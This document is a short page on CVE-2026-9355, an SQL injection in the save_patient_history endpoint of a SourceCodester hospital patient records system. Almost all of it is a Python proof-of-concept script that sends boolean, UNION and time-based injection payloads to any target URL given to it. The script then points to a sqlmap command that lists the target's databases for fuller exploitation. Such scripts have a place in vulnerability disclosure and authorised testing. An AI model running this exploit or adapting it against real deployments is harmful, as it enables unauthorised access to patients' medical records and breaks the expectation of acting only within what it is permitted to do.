CVE-2026-9355 SourceCodester医院病历管理系统save_patient_history SQL注入漏洞

import requests import sys # CVE-2026-9355 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Endpoint: /classes/Master.php?f=save_patient_history def sql_injection_test(target_url, payload): """Test for SQL injection vulnerability""" params = { 'f': 'save_patient_history', 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-9355.py <target_url>") print("Example: python cve-2026-9355.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') url = f"{target}/classes/Master.php" # Basic test payloads test_payloads = [ "1' OR '1'='1", # Basic boolean-based injection "1' UNION SELECT NULL--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Testing CVE-2026-9355 SQL Injection on {url}") print(f"[*] Target endpoint: /classes/Master.php?f=save_patient_history") for i, payload in enumerate(test_payloads, 1): print(f"\n[*] Test {i}: {payload}") result = sql_injection_test(url, payload) if result: print(f"[+] Response received, length: {len(result)}") # Check for SQL error messages if 'sql' in result.lower() or 'error' in result.lower(): print("[!] Potential SQL error detected") print("\n[*] Use sqlmap for comprehensive exploitation:") print(f"sqlmap -u '{url}?f=save_patient_history&id=1' --dbs") if __name__ == "__main__": main()